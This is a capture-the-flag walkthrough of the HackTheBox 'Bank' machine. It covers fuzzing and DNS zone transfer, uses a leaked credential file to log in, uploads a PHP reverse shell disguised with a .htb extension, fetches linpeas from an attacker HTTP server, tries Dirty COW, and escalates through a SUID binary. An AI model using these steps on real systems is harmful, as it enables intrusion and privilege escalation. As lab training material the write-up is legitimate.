CTF··6 min read

HTB Bank: Chasing Balance Transfers to Root Shell

Web Uygulaması Keşfi

Root Erişimi Elde Etme

Map IP address to hosts file:

nmap -sV -sC -p- --min-rate 5000 -T4

Unusual ports can be seen below: 

Nmap scan of bank.htb: SSH 22, DNS 53 (ISC BIND 9.9.5), HTTP 80 (Apache 2.4.7) with HTB Bank login page

I never had DNS know-how, so I'll search for it.

For two other upload-to-webshell chains, compare HTB Nibbles: File Upload to Root and HTB Bounty: File Upload to System via Chimichurri.

Technically it is not possible to attempt Zone Transfer, yet since I was in a CTF let me give it a chance.

DNS Zone Transfer

dig axfr bank.htb @10.129.29.200

DNS zone transfer via dig axfr: bank.htb, ns.bank.htb, www.bank.htb (CNAME) all pointing to 10.129.29.200

Since I have a custom domain name within the scope of the lab, it is possible to search for other subdomains. Moreover, it is also possible to discover them through ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://bank.htb -H "Host: FUZZ.bank.htb"

I had previous knowledge about DNS records since I also have my own blog page. Observe that we have 2 A records and 1 CNAME. I'll try to add chris, www, and ns subdomains to /etc/hosts.

Every page shows the Apache default page. Therefore, fuzzing had to work well. 

Apache2 Ubuntu Default Page on www.bank.htb showing It works! and configuration overview

In manual check, I saw login page on bank.htb.

HTB Bank login page at bank.htb/login.php with email and password fields

For discovery, use the combinations below:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://bank.htb/FUZZ

ffuf directory scan results: .hta, .htaccess, assets, inc, index.php, server-status, uploads found on bank.htb

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bank.htb/FUZZ

Moreover, directory-list-2.3-medium still does not cover what we expected I think.

In the inc directory, there was nothing to cover: 

Apache directory listing of /inc/ showing footer.php, header.php, ticket.php, and user.php files

The application is running on a PHP backend. That is why it will be great to search for specific backend files as well.

Raft wordlist also does not work:

dirsearch -u http://bank.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

Dirsearch scan results: /inc, /uploads, /assets directories and /server-status (403) found
ffuf with medium wordlist: login.php and support.php (200), /uploads (301), balance-transfer directory (253KB) discovered

Now, I had different results like support.php, logout.php. This is the real power of extension filtering I think.

Gobuster scan finding /balance-transfer directory (size 253503) among uploads, assets, inc, and server-status

Furthermore, a really extraordinary path came from gobuster. balance-transfer.

Directory listing of /balance-transfer/ showing hundreds of .acc files with hash-based filenames, all ~584 bytes

Now, it is not possible to decrypt. I will figure out different ways to reach the application itself.

Encrypted .acc file content: HTB Bank Report with base64-encoded Full Name, Email, and Password fields

 After a couple of hours, I could not find any clues about the machine then I began to analyze requests/responses in every fuzz operation. I discovered that support.php and logout.php behave differently than login.php according to the sizes of the response. It is clear that in every logout operation we expect to see redirects, but support.php seems like a clear redirect.

support.php [Status: 302, Size: 3291, Words: 784, Lines: 84, Duration: 61ms]

logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms]

Both redirect, yet support.php behaves abnormally. In normal redirect operations we do not expect any content sizes.

Burp Suite showing support.php HTML source with DEBUG comment: .htb extension executes as PHP

Normally, we expect to see PHP files executed. However, the creator mentioned the type of file the application accepts.

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

Still we have to access the application to get a reverse shell. I began to search for any juicy credentials on balance-transfer then decided on highlighting the size of each transaction. Found a unique one with 257 byte size.

Balance-transfer directory sorted by size: one anomalous file at 257 bytes (all others 582-585), highlighted with search

Login as chris:

Unencrypted .acc file: ENCRYPT FAILED, revealing Christos Christopoulos, chris@bank.htb, password !##HTBB4nkP4ssw0rd!##

Well, reached the Support page.

HTB Bank dashboard logged in as Christos: $1,337 balance, 8 transactions, 2 credit cards (VISA + Mastercard)

Get reverse shell payload from:

HTB Bank support page: My Tickets table with title/message/attachment fields and file upload form

PentestMonkeyRevShell

Create your reverse shell with your IP address and port respectively then save as rev.php.htb, so the application accepts your file.

Creating rev.php.htb reverse shell payload in nano and starting Penelope listener on port 1234
Nano editor with pentestmonkey PHP reverse shell: IP set to 10.10.16.64, port 1234, saved as rev.php.htb

Click to trigger the reverse shell payload:

Support ticket submitted with uploaded reverse shell attachment; Click Here link highlighted in ticket table

Now I got reverse shell connection via Penelope Shell Handler.

Penelope catches reverse shell from bank (10.129.29.200) as www-data, PTY upgrade via python3

I did not have the user flag of the machine chris. I will continue with linpeas.sh to discover privilege escalation options.

Run http server from attacker machine (your machine):

python -m http.server 1010

Download linpeas from the corresponding directory where you deployed the HTTP server.

CURL usage

curl -O http://10.10.16.64:1010/linpeas.sh

Second Penelope reverse shell session; downloading linpeas.sh via curl from attacker HTTP server

Now, chmod +x linpeas.sh then run:

bash linpeas.sh or ./linpeas.sh

LinPEAS kernel exploit suggestions: 17 matched CVEs including dirtycow, eBPF verifier, Netfilter heap OOB write

I have gcc compilers installed, let's try privilege escalation via kernel exploitation. I tried the dirtycow kernel exploit, but it did not work.

Dirtycow

Downloading and compiling dirty.c (Dirty COW exploit) with gcc on the target; compiled binary ready

Compile C binary with:

gcc -pthread dirty.c -o dirty -lcrypt

Dirty COW exploit execution: creates user toor with password onurcan, writes to /etc/passwd successfully

After a couple of attempts, the race condition did not succeed.

www-data@bank:/home/chris$ su toor
No passwd entry for user 'toor'
www-data@bank:/home/chris$

Moreover, I still persisted on HackTricks's enumeration part.

SUID

Observe that the path seems interesting:

SUID binary search: /var/htb/bin/emergency highlighted as unusual SUID binary among standard system binaries

I simply call the binary and got root privileges then confirmed that I directly escalated my privileges via SUID (Set User ID) bit. The binary /var/htb/bin/emergency had the SUID bit set and was executable by all users (-rwsr-xr-x). Since www-data falls under the others category, it had execute permission. When executed, the binary ran with the file owner's privileges (root) due to the SUID bit, directly escalating my privileges from www-data to root.

rwx r-x r-x owner group others

SUID abuse: su toor fails (no passwd entry), /var/htb/bin/emergency executes directly, whoami confirms root

Get the flags through the directories respectively:

Both flags captured: user.txt from /home/chris and root.txt from /root